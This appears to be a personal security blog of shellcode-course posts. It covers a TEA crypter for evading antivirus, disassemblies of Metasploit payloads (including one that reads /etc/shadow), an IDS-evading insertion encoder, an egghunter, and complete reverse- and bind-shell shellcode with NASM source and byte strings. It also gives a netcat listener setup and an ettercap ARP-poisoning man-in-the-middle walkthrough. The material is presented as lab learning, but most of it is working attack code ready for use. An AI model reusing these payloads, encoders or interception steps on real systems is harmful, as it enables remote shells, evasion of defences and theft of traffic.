Monday, January 26, 2015

Manual Shellcode Obfuscation

This post shows some techniques used in shellcode obfuscation. The shellcodes were got from shell-strorm.org.

Sunday, January 25, 2015

Tiny Encryption Algorithm Crypter

I chose to use Tiny Encryption Algorithm for writing my crypter because its small and its compilation doesn’t require importing any other libraries. Its also kind to the processor during the key decryption process (remember the point is to simple evade AV) so the encryption doesn’t have to be the strongest in the world. To find out more about crypters and their implementations you can check out this paper. Now onto the implementation of my crypter.
The reference code is from wikipedia. I implemented it in c to leverage the languages' speed. I used the basic /bin/sh shell-code to test the crypter. I tested it on an Ubuntu system.
We copy the shellcode we want to deploy into the shellcode field as shown above. You can change the key to whatever value you want to provided you retain the format. Next we compile the code in the c file "gcc TEA.c -o TEA" and then run it "./TEA". This will give us the crypted /bin/sh shellcode.  You should get get output like this.
 
roman@ubuntu:~/SLAE/Shellcode/Crypter$ ./TEA

Encrypted:
\x89\x45\x8b\x36\x8a\xc9\x8b\x48\xd6\xb2\x9a\x53\xc8\x59\x18\xd4\x46\x26\x6e\xbf\x33
\xdc\x20\x5d\x46\x01\x38\x7c\x4d\x3e\x23\xf1\xa3\xaa\xbf\x73\x46\xdb\xcc\xcd
Length: 40
 
We then paste the above shell-code into another c program which will execute the shellcode. Make sure the key you use in this program (lets call it TEAExecuteshellcode.c) is the same as the one you used in TEA.c So what this program basically does is run the decryption algorithm on the shellcode and then executes it.

As usual we compile and run it. "gcc -fno-stack-protector -z execstack TEAExecuteShellcode.c -o TEAExecuteShellcode" Run the shellcode through objdump to make sure it has no nulls and then run the shellcode "./TEAExecuteshellcode". This should give us the /bin/sh shell which means our crypter is working.


 

Wednesday, January 7, 2015

Analysis of Linux metasploit shellcode

Shell Find Port shellcode

root@ubuntu:~# msfpayload linux/x86/shell_find_port S > shell_find_port
root@ubuntu:~/libemu/tools/sctest$ cat shell_find_port |./sctest -vvv -Ss 10000 -G shell_find_port.dot
root@ubuntu:~/libemu/tools/sctest$ dot shell_find_port.dot -Tpng -o shell_find_port.png

The above set of commands leverage the libemu library to produce a pictoral flow of the linux/x86/shell_find_port metasploit payload. Lets start with what we know. We know that the the value 0x66 represents the syscall number for a socketcall().




The value 0x66 (102 decimal) is pushed onto the stack and then EAX popped from the stack. This is an inderect way of loading 0x66 into the EAX register. We know that the socketcall() takes two values as input ie the int call and unsigned long *args from the man page. As we continue deeper into the code, we find that the getpeername() function is called. The call numbers are stored in the /usr/include/linux/net.h. A quick glance at the net.h file shows

#define SYS_GETPEERNAME    7        /* sys_getpeername(2)        */


which gives us insight on why the value 7 was loaded into the bl register. see blue arrow

Upon inspection of the getpeername man page,
GETPEERNAME(2)             Linux Programmer's Manual            GETPEERNAME(2)

NAME
       getpeername - get name of connected peer socket

SYNOPSIS
       #include <sys/socket.h>

       int getpeername(int sockfd, struct sockaddr *addr, socklen_t *addrlen);

DESCRIPTION
       getpeername()  returns  the address of the peer connected to the socket
       sockfd, in the buffer pointed to by addr.  The addrlen argument  should
       be  initialized to indicate the amount of space pointed to by addr.  On
       return it contains the actual size of the  name  returned  (in  bytes).
       The name is truncated if the buffer provided is too small.
We find that that it takes in a socket file descriptor as input, a pointer to the sock address. At this point it starts to make sense what the loop is about. It goes through the various port numbers while comparing their values to the present value of 0x32b2 which is port number 12978 in decimal. It iterates through the port numbers and sets the jz flag on success while ince=reasing the ECX register.
However it doesnt make sense for a payload to just iterate through ports without having an alterior motive. At this port I used ndisasm to inspect the same code.

root@ubuntu:~/libemu/tools/sctest$ cat new_shell_find_port |ndisasm -u -
00000000  31DB              xor ebx,ebx
00000002  53                push ebx
00000003  89E7              mov edi,esp
00000005  6A10              push byte +0x10
00000007  54                push esp
00000008  57                push edi
00000009  53                push ebx
0000000A  89E1              mov ecx,esp
0000000C  B307              mov bl,0x7
0000000E  FF01              inc dword [ecx]
00000010  6A66              push byte +0x66
00000012  58                pop eax
00000013  CD80              int 0x80
00000015  66817F02B232      cmp word [edi+0x2],0x32b2
0000001B  75F1              jnz 0xe
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
00000025  49                dec ecx
00000026  79F9              jns 0x21
00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80


Basically the libemu analysis stopped on line 0000001B because I didnt open the required port during analysis. With ndsasm we're able to see the proceeding constructs of the shellcode. I found that if the code gets out of the loop (upon finding an open port) a duplicating file descriptor is called (dup2). This can be seen from the value 0x3f being loaded into the EAX register and then the syscall being made.
0000001D  5B                pop ebx
0000001E  6A02              push byte +0x2
00000020  59                pop ecx
00000021  B03F              mov al,0x3f
00000023  CD80              int 0x80
The next portion of the code is fairly recognisable which means the payload goes ahead and spawns a /bin/sh shell on success and the syscall for execve 0xb can be seen loaded into the EAX register and the int 0x80 call made.

00000028  50                push eax
00000029  682F2F7368        push dword 0x68732f2f
0000002E  682F62696E        push dword 0x6e69622f
00000033  89E3              mov ebx,esp
00000035  50                push eax
00000036  53                push ebx
00000037  89E1              mov ecx,esp
00000039  99                cdq
0000003A  B00B              mov al,0xb
0000003C  CD80              int 0x80
  
Analysis of metasploit's linux/x86/chmod shellcode

The first three instructions basically load the value 15 (0xf hex) into the EAX register which is the syscall number for the chmod() function.
roman@ubuntu:~/libemu/tools/sctest$ cat chmod_shellcode |ndisasm -u -
00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call dword 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popad
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Below is a section of the chmod man page.

CHMOD(2)                   Linux Programmer's Manual                  CHMOD(2)

NAME
       chmod, fchmod - change permissions of a file

SYNOPSIS
       #include <sys/stat.h>

       int chmod(const char *path, mode_t mode);
       int fchmod(int fd, mode_t mode);

   Feature Test Macro Requirements for glibc (see feature_test_macros(7)):

       fchmod():
           _BSD_SOURCE || _XOPEN_SOURCE >= 500 ||
           _XOPEN_SOURCE && _XOPEN_SOURCE_EXTENDED
           || /* Since glibc 2.12: */ _POSIX_C_SOURCE >= 200809L

DESCRIPTION
       These system calls change the permissions of a file.  They differ  only
       in how the file is specified:
 
From the manual we see that it takes two values as input. A pointer to the path of the file and the mode. After loading the values into the registers, the interrupt is called. The final portion of the code as we saw earlier id the exit routine. The screen shot below is generated from libemu and shows the order of execution.

Analysis of linux/x86/read_write metasploit shellcode

roman@ubuntu:~/SLAE$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8
\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb
\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff
\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00" |ndisasm -u -

00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7368              jnc 0xac
00000044  61                popad
00000045  646F              fs outsd
00000047  7700              ja 0x49


This shellcode leverages the jump call pop technique to avoid the nullbytes in the call forward if it were to jump forward. The value 5 is loaded into the EAX register which is the syscall number for open(). It takes in two variables ie *pathname and flags as shown in the manual below.


OPEN(2)                    Linux Programmer's Manual                   OPEN(2)



NAME

       open, create - open and possibly create a file or device



SYNOPSIS

       #include <sys/types.h>
       #include <sys/stat.h>
       #include <fcntl.h>


       int open(const char *pathname, int flags);
       int open(const char *pathname, int flags, mode_t mode);
       int creat(const char *pathname, mode_t mode);


DESCRIPTION
       Given a pathname for a file, open() returns a file descriptor, a small,
       nonnegative integer  for  use  in  subsequent  system  calls  (read(2),
       write(2), lseek(2), fcntl(2), etc.).  The file descriptor returned by a
       successful call will be the lowest-numbered file  descriptor  not  cur‐
       rently open for the process.

The value zero is loaded into the ECX register and then the call is made.


00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80


The next portion of the code loads the value 3 into the EAX register which is the syscall number for read() from a file descriptor. The read function takes 3 variables, the file descriptor, pointer to buffer and count which is the maximum size of the file that can be read.

READ(2)                    Linux Programmer's Manual                   READ(2)


NAME
       read - read from a file descriptor

SYNOPSIS

       #include <unistd.h>

       ssize_t read(int fd, void *buf, size_t count);

DESCRIPTION

       read()  attempts to read up to count bytes from file descriptor fd into
       the buffer starting at buf.
       If count is zero, read() returns zero and has  no  other  results.   If
       count is greater than SSIZE_MAX, the result is unspecified.


So this makes sense since the above function opens the file and this one reads from it up to a maximum of 4096 bytes which is the 0x1000 in hex you see loaded into the EDX register. As usual the int 0x80 shows the syscall being made after the values have been loaded.

0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80


The next portion of the shellcode loads the value 4 into the EAX register which is the syscall number for write(). The write function like the read function takes 3 values as input ie file descriptor, a pointer to the buffer and the size of the bytes to be written

WRITE(2)                   Linux Programmer's Manual                  WRITE(2)



NAME
       write - write to a file descriptor


SYNOPSIS
       #include <unistd.h>

       ssize_t write(int fd, const void *buf, size_t count);

DESCRIPTION

       write()  writes  up  to  count bytes from the buffer pointed buf to the
       file referred to by the file descriptor fd.


In the shellcode we see the value 1 loaded into the ebx register which is the file descriptor value which translates to standard output(stdout). The call is then made.

00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80


The remainder of the code is basically an exit routine which can be recognized from the value 1 being loaded into the EAX register. Zero is loaded into the EBX register and then the interrupt is called.

0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

Insertion encoder/decoder shellcode


For this solution I decided to incorporate the homework and the assignment and put two random characters between two legitimate shellcode values.
Key:
Legit = Legitimate piece of shellcode
Random = Bogus character placed to evade IDS.
-------------------------------------------------------------------------------------------------------------
|Legit |Legit |Random |Random |Legit |Legit |Random |Random|.....
-------------------------------------------------------------------------------------------------------------
The code that encodes the shellcode is a simple python script shown below
** It should be noted that the shellcode is a basic /bin/sh shellcode
The code below shows the decoder stub which should decode the bin/sh shellcode to give us back our original /bin/sh shellcode.

Still on the subject of insertion, I wrote another encoder decoder based on Vivek's poor man's encoder/decoder.
The python script below first reverses the shellcode and then inserts a random character between each value.
 **Note that the random characters generared dont include 255 (0xff) as we use it to signal the end of our shellcode.
Decoder All the code used here can be found at my github account here.

Egghunter Shellcode

After going through skape's paper on egghunters at http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf. In order for me fully understand and comprehend the use and usage of egg hunter shellcode, I went through a walk through of savant exploitation on greycorner.com. This gave me an understanding on what the use of egghunter and is and in which scenarios it can be leveraged.
    There's little point in re-writing what was written in skapes paper however it can be summarized as follows. For the linux platform there are basically 3 ways of leveraging the egg hunter technique.
    The first being using the access syscall where the egg is loaded into the EBX register since the access function takes in a pointer to the pathname as the first arguement. The value in EBX is then compared to the contents of the pointer in the EDX register. The EDX register is used to iterate through the addresses in the current page in memory. If they values dont match, it continues ina loop and increments the EDX. If the egg is found, implementation jumps to the EDX where the second stage of the payload is and begins execution.
    The second way is some what similar to what we've just explained above since it also leverages the access syscall. The major difference comes in the fact that while the previous method didnt check for validity of the addresses, this one first checks for the validity of the address only after a valid address has been determined does it start doing the comparisons. Another difference in terms of the functionality is that the egg is stored in the EAX register and compared to the EDI (contents of memory stored here) using the native scasd instruction.
    The final implementation is different from the previous ones in terms of speed and size in that its faster and smaller and leverages the sigaction syscall. The reason for its speed stems from the fact that while using the sigaction function, its able to search multiple addresses at a time. The logic behind this fact is that incrementing by PAGE_SIZE allows for quicker searching through invalid memory regions. This is the most common implementation of the egg hunter due to its relatively smaller size of 30bytes compared to the previous two which are 38 and 35 bytes respectively. The other advantage it has is that its search time is also lower than the previous two since it searches multiple pages at a time. Below is the egghunter code.
 We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the egghunter.nasm, when compiling with compile.sh, just do "./compile.sh egghunter" Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d egghunter -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.

"\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8"
"\x90\x50\x90\x50"-----> Tag to hunt for
"\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7"

The code below the tags is a basic /bin/sh shellcode and can be substituted for any other shellcode.

"\x90\x50\x90\x50"----> EggHunter tags i.e. value to be searched for (If you decide to
"\x90\x50\x90\x50"     change the tag be sure to change the tag in the egghunter code too)
"\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80".

 We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode".



Monday, January 5, 2015

Creating a Shell Reverse TCP Shellcode

To write a reverse tcp shell, we'll build on what we did for the bind_tcp. The difference is that the reverse tcp code initiates the connection back to the attacking machine. We're going to make few changes to the bind_tcp code since both use the same call to socket. The connect() function will take an ip address as input. If you recall in the bind_tcp call setup, we set the value of in connect() to zero. In this case we'll feed in an ip address (in hex ofcourse) and in reverse due to the arrangement of the stack. In my little lab, I used the ip address 192.168.62.132 which is 0x843EA8C0. The only other difference we'll make to the code will be loading EBX with the value 3 which is a call to connect(). The whole code can be got from my github.

 We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the shell_reverse_tcp.nasm, when compiling with compile.sh, just do "./compile.sh shell_reverse_tcp" Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d shell_reverse_tcp -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.

"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\xb0\x66\xb3\x02\x52\x68\xc0\xa8\x3e\x84\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\x43\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80".

 We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode". To test this shellcode we'll need two systems (VMs) open port 4444 on one system (attacking). You can use netcat "nc -lvp 4444" to open 4444 on the attacking system. Then run the shellcode on the victim system (dont forget to set the the IP and appropriate port (4444 in my case) as shown in the nasm code). After running the shellcode, a connection should be established on the attacking system. Run "netstat -ntlp" on the victim system for confirmation it should show an established connection to the attacking system.

Creating a Linux Shell Bind TCP shellcode

When creating a bind port, from the man page we know that the syscall number for a socket call is 102 (0x66 hex).

SOCKETCALL(2)              Linux Programmer's Manual             SOCKETCALL(2)

NAME
       socketcall - socket system calls

SYNOPSIS
       int socketcall(int call, unsigned long *args);

DESCRIPTION
       socketcall()  is  a  common  kernel  entry  point for the socket system
       calls.  call determines which socket function to invoke.   args  points
       to a block containing the actual arguments, which are passed through to
       the appropriate call.

The call numbers which are taken in as input are stored in the /usr/include/linux/net.h file.
#ifndef _LINUX_NET_H
#define _LINUX_NET_H

#include <linux/socket.h>
#include <asm/socket.h>

#define NPROTO        AF_MAX
#define SYS_SOCKET    1        /* sys_socket(2)        */
#define SYS_BIND    2        /* sys_bind(2)            */
#define SYS_CONNECT    3        /* sys_connect(2)        */
#define SYS_LISTEN    4        /* sys_listen(2)        */
#define SYS_ACCEPT    5        /* sys_accept(2)        */
#define SYS_GETSOCKNAME    6        /* sys_getsockname(2)        */
#define SYS_GETPEERNAME    7        /* sys_getpeername(2)        */
#define SYS_SOCKETPAIR    8        /* sys_socketpair(2)        */
#define SYS_SEND    9        /* sys_send(2)            */
#define SYS_RECV    10        /* sys_recv(2)            */
#define SYS_SENDTO    11        /* sys_sendto(2)        */
#define SYS_RECVFROM    12        /* sys_recvfrom(2)        */
For linux syscalls 102 is loaded into the EAX register, the type of socket call to be made is loaded into the EBX register while the ECX register is made to point to the socketcall args. The instructions below show the socket calls required to bind port 4444 and accept tcp connections. The sockaddr struct arg arrays are each created by pushing values in reverse order onto the stack.
global _start
section .text
_start:

; socket(int domain, int type, int protocol);
; s = socket(2, 1, 0)
    xor eax, eax    ; zero out eax register
    mov al, 0x66    ; mov 0x66 (102 socketcall) into eax register
    xor ebx, ebx    ; ebx carries the type of socketcall
    mov bl, 1    ; which we saw from out net.h file is 1
    xor edx, edx    ; Zero out edx . value of array are pushed in reverse order
    push edx        ; push zero onto the stack protocol = 0 (arg array build)
    push BYTE 1     ; push sockstream=1 value onto the stack 
    push BYTE 2     ; push AF_INET = 2 onto the stack
    mov ecx, esp    ; ecx = ptr to argument array
    int 0x80        ; After syscall, eax has socket file descriptor.

    mov esi, eax    ; move value of sock descriptor into esi 
 
; bind(int sockfd, const struct sockaddr *addr,socklen_t addrlen);
; bind(s, [2, 4444, 0], 16)
    xor eax, eax    ; zero out eax register
    mov al, 0x66    ; mov 0x66 (102 socketcall) into eax register
    mov bl, 2    ; move 2 into ebx since SYS_BIND number from net.h is 2
    push edx        ; Build sockaddr struct: INADDR_ANY = 0
    push WORD 0x5c11; port 4444 pushed onto the stack in reverse order
    push WORD bx    ; push 2 onto the stack because AF_INET = 2
    mov ecx, esp    ; ecx = ptr to arguement array
    push BYTE 16    ;  size of server struct
    push ecx        
    push esi        
    mov ecx, esp
    int 0x80       

; listen(int sockfd, int backlog);
; listen(s, 0)
    mov al, 0x66     ;mov 0x66 (102 socketcall) into eax register
    inc ebx
    inc ebx          ; ebx is now 4 SYS_LISTEN = 4
    push ebx         ; 
    push esi         ;  
    mov ecx, esp     ; ecx = ptr to argument array
    int 0x80         

; accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
; c = accept(s, 0, 0)
    mov al, 0x66      ; mov 0x66 (102 socketcall) into eax register
    inc ebx           ; ebx is now 5 since SYS_ACCEPT = 5
    push edx          ; argv: { socklen = 0, sockaddr ptr = NULL,socket fd }
    push edx
    push esi
    mov ecx, esp      ; ecx = ptr to argument array
    int 0x80          ;

The code above binds to port 4444 and waits for an incoming tcp connection. However as soon as the connection is accepted, its put into EAX which means we cant use it to do anything useful. We therefore have to combine it with code that spawns a shell. To do this, we'll swap the standard input, standard output and standard error of the spawned shell with that of the connected socket file descriptor.
The syscall for duplicating file descriptors is dup2 and has a syscall number of 63.

P(2)                     Linux Programmer's Manual                    DUP(2)
NAME
       dup, dup2, dup3 - duplicate a file descriptor
 
SYNOPSIS
       #include <unistd.h>
       int dup(int oldfd);
       int dup2(int oldfd, int newfd);
       #define _GNU_SOURCE             /* See feature_test_macros(7) */
       #include <unistd.h>
       int dup3(int oldfd, int newfd, int flags);

DESCRIPTION

       These system calls create a copy of the file descriptor oldfd.


From the above descriptions, we can came up with the following code to do the transition.
 
; int dup2(int oldfd, int newfd);
; dup2(connected socket, {all three standard I/O file descriptors})
    mov ebx, eax      ; since the sockfd left off with EAX register we'll move it onto ebx
    xor eax, eax      ; zero out the eax register and prepare to load it with dup2 syscall 
    mov al, 0x3F      ; dup2 syscall number is 63 
    xor ecx, ecx      ; load ecx with zero which is the value = standard input
    int 0x80          ;
    mov al,0x3F      ; dup2 syscall is 63
    add ecx, 1      ; add 1 to ecx = standard output
    int 0x80          ;
    mov al, 0x3F      ; dup2 syscall is 63
    add ecx,1         ; add 1 to ecx=2=standard error
    int 0x80          ;

The remainder of the code basically spawns a /bin/sh shell
; execve(const char *filename, char *const argv [], char *const envp[])
    ; PUSH the first null dword 
    xor eax, eax
    push eax
    ; PUSH //bin/sh loaded in reverse order (8 bytes) 
    push 0x68732f2f ;//sh 
    push 0x6e69622f ;/bin
    mov ebx, esp    ; because ebx points to the //bin/ls
    push eax        ; push 32bit null terminator to the stack
    mov edx, esp    ; empty array for envp
    push ebx        ; address of where //bin/ls is
    mov ecx, esp    ; this is the argv array with string ptr
    mov al, 11      ;syscall for execve
    int 0x80

Below is the entire code with out explanation with the comments or if you want to can get it from my github account.
    We can assemble and link the above nasm code using this simple compile.sh script. When using the script, drop the .nasm at the end of the filename for example if you've named the shell_bind_tcp.nasm, when compiling with compile.sh, just do "./compile.sh shell_bind_tcp"
Next we use objdump to check for nulls since we know nulls in most cases kill shellcode. We run "./objdump -d shell_bind_tcp -M intel" You can use whatever syntax suits you mine is intel. The default syntax is AT&T. After establishing the absence of nulls we then extract the shellcode using this code from commandlinefu. This gives us the following shellcode.
"\x31\xc0\xb0\x66\x31\xdb\xb3\x01\x31\xd2\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x53\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc0\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\xb0\x3f\x83\xc1\x01\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" We then go ahead and paste the shellcode into the c program below to test our shellcode. Compile the shellcode.c with the syntax "gcc -fno-stack-protector -z execstack shellcode.c -o shellcode" then run shellcode "./shellcode" and a bind shell on port 4444 should be opened. Run "netstat -ntlp for confirmation."


How to do a MITM attack with ettercap and xplico

Theres a number of ways of doing a mitm attack like urlsnarf, driftnet however today i want do it using an intersting tool called xplico which makes it so easy to make sense of the captures data. apt-cache search has xplico as a Network Forensic Analysis Tool (NFAT) however we are gonna use it to damage instead. For more information on how arpspoofing works please visit. oxid.it. its not installed by default on kali but you can easily install it by running
apt-get install xplico.
Its slightly less than 30MB so it shouldnt take long.
we run the command then
ettercap -G


sniff --> unified snifffing --> eth0
select OK
hosts --> scan for hosts
you might want to run this command twice then
click hosts --> hosts list

My default gateway is 172.16.163.2 and the ip address of the target windows 7 box is 172.16.163.133.

Before we start we first check the arp table for the windows 7 box and find that the mac addresses for the windows 7 and kali box are different as should be. If you saw the animation of the arpspoofing from oxid.it you'll quickly notice that the first step is to fool the arp table of the viction that the kali box is the default gateway.
we go back to the kali box and click mitm select arp-poisoning and select the option of sniff remote connections and click OK.
be sure to enable port forwarding on the kali box by running the command
echo 1 >  /proc/sys/net/ipv4/ip_forward
otherwise the attack will be a dos since all the incoming packets will not be forwarded to the victim. You can run cat /proc/sys/net/ipv4/ip_forward to ensure that you've correctly enabled port forwarding. it should give you a value of one.


When we go back and check the arp table in the windows 7 machine we find that the mac address for the default gateway and the kali box are the same. In our case the mac address's for 172.16.163.131 (kali box) and 172.16.163.2(default gateway). so we've success fully fooled the windows 7 box into thinking that the mac address of the default gateway and is that of our kali box.

we then fireup xplico as shown in the screen shot below. We need to first start apache since xplico runs with a webserver. the netstat command is to ensure that xplico is running(it runs on port 9876)


Browse to http://localhost:9876 login with credentials username and password xplico:xplico



On the left side of the xplico interface theres a pane where you can create a  new case. so we'll click new case then select live acquisition and then give the case a name. we'll call ours MITM and then click create. you can even upload a previously captured pcap file and decode the data on it.



we'll then enter our newly created case by clicking MITM then click new session and give the session a name. we'll again use MITM and then click create.


we're then given an message saying that the session has been created. we then click MITM and we're presented with a session data interface. We then select the  interface to listen on. In our case its eth0. Yours might be different if you're intercepting on say wlan0.

we then go to our Windows 7 box and start browsing. I've searched for flags in bing.



Over at the kali box we can see the images we searched shown as in the screenshot. What makes xplico special is that it sorts and makes sense of the captured data gives it to us in an easy gui interface and from the left pane you can see a range of formats from images to videos to emails (if they're in plain text) you can see the dns' the the target has queried and a range of other stuff.

It might take a bit to decode the captured data depending on the size of the traffic of the target. This is no doubt an amazing tool which you can use to increase your foothold on a network. It has a range of other amazing features like capturing chat messages etc.  Try it out!!!